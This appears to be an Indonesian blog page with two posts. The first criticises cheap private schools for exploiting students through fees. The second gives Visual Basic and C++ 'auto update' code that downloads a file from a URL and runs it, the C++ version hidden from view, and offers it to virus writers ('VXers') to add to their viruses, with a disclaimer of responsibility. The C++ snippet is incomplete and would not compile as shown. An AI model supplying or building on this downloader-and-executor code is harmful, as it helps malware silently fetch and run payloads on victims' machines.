Thursday, 20 March 2008
PT Berkedok Lambaga Pendidikan
aneh judulnya , ga ngerti gw :p ,
yah mungkin judul ini sangat cocok untuk beberapa lembaga pendidikan di Bumi tercinta ini
setelah saya melihat banyak ya iklan2 pendidikan yang banyak bermunculan di media masa.
Memang sih, ... Mendirikan Lembaga pendidikan suatu inventasi yg bagus di indonesia, apa lagi
saat ini pendidikan yg murah sangat di perlukan oleh masyarakat, menurut saya hal ini lah yg
membuat semakin banyak berdirinya Lembaga pendidikan yang murah tanpa mementingkan kwalitas
pendidikan itu Sendiri(cthnya kampus saya , ops kampus gw dimana? ya)
Dengan biaya murah, tanpa di sadari banyak siswa2 yang terjebak kedalam lubang kemurahan itu sendiri
yang lambat laun murah itu menjadi mahal harganya. Pasti siswa mendaftar ke sekolah/kampus yang murah
karna tdk memiliki biaya lebih untuk pendidikan , hal ini lah yang menyebabkan terjadinya Spiral Kemiskinan
MauNya Sekolah biar mendapatkan kehidupan yang layak , malah di maanfatkan oleh Pemilik Lembaga yang mempunyai
basic pendidikan Marketing tanpa mengetahui sedikitpun tentang pendidikan, membuat kebijakan2 yg
sangat merugiakan Siswa.
Bayangkan kita setiap tahun harus membayar uang pembangunan , uang kusri , sumbangan, HeR , blom lagi
harus Memberikan sedikit dana agar Nilai kita tetap bagus, menyedihan memang .
yah itu lah yang terjadi di indonesia .....
maka BerHATI - HATILAH Mendaftar Di SUATU LEMBAGA PENDIDIKAN
CWeiii
Bingung Gw Sama yang Gw Tulis =))=))
Auto UpDate
PerKembangan Virus Lokal Pada Saat Ini Sangat Pesat , Tetapi Nanya sedikiti Virus YAng dpt hanya bertahan lama , hal ini dikarenakan Banyaknya serangan2 AV (Loh AV Yang ngerang TOh :p) Baik Av LOkal Ato Av Luar terhadap Virus 2 Lokal
apalagi Saat ini ada Av Lokal Yang RealTime Protection dan Auto update(Yah makin ancur aja Deh PerVirusan Indonesia) .. :p
Ok Hal tersebut Diharapkan Tdk Membuat Para VXers BErkecil hati ,Pada Artikel ini Saya aKan Memberi Sedikit Contoh Code Auto Update yang sangat Layak Jika Di gabung oleh Code Virus Ya Langsung Ajah
Code Dalam VB
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAcessType As Long, ByVal lpszProxyName As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long
Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal dwNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long) As Boolean
Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal address As String, ByVal headers As String, ByVal headlenght As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet.dll" _
(ByVal hInet As Long) As Integer
Dim hInternet As Long
Dim hRequest As Long
Private Const INTERNET_OPEN_TYPE_DIRECT = 1
Dim strBuffer As String * 1
Public Function Update(Url As String)
hInternet = InternetOpen(App.Title, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
If hInternet <> 0 Then hRequest = InternetOpenUrl(hInternet, Url, vbNullString, 0, INTERNET_FLAG_NO_AUTO_REDIRECT, 0)
If hRequest <> 0 Then
Open "C:\temp.exe" For Binary Access Write As 1
Do
bRes = InternetReadFile(hRequest, strBuffer, Len(strBuffer), lBytesRead)
If lBytesRead > 0 Then
Put #1, , strBuffer
End If
Loop While lBytesRead > 0
Close #1
Shell "C:\temp.exe"
Else
InternetCloseHandle hInternet
End If
End Function
Code Pada C++
#include "urlmon.h"
#include "windows.h"
#define site "http://localhost/vr1.jpg"
#define pathdwn "c:\\dp.exe"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HINSTANCE urlmon;
HINSTANCE shell32;
urlmon = LoadLibrary("urlmon.dll");
shell32 = LoadLibrary("shell32.dll");
fURLDownload = (DF)GetProcAddress(urlmon,"URLDownloadToFileA");
fShellExecute = (SE)GetProcAddress(shell32,"ShellExecuteA");
fURLDownload = (DF)GetProcAddress(urlmon,"URLDownloadToFileA");
fShellExecute = (SE)GetProcAddress(shell32,"ShellExecuteA");
if(fURLDownload(0,site,pathdwn, 0, 0) == S_OK)
{
Sleep(15);
fShellExecute(NULL,"open",pathdwn,NULL,NULL,SW_HIDE);
}
}
Yah Gitu Aja sih , ....
Pesen gw Diharapkan Tmn2 VXers Tidak Membuat Virus yang Merusak Data , yah Yang Wajar2 aja , klo membuat Virus Hanya Untuk Mengembangkan Diri sih Ok2 Saja
SAya Tidak bertanggung jawab atas Kerusakan Yang terjadi
Subscribe to:
Posts (Atom)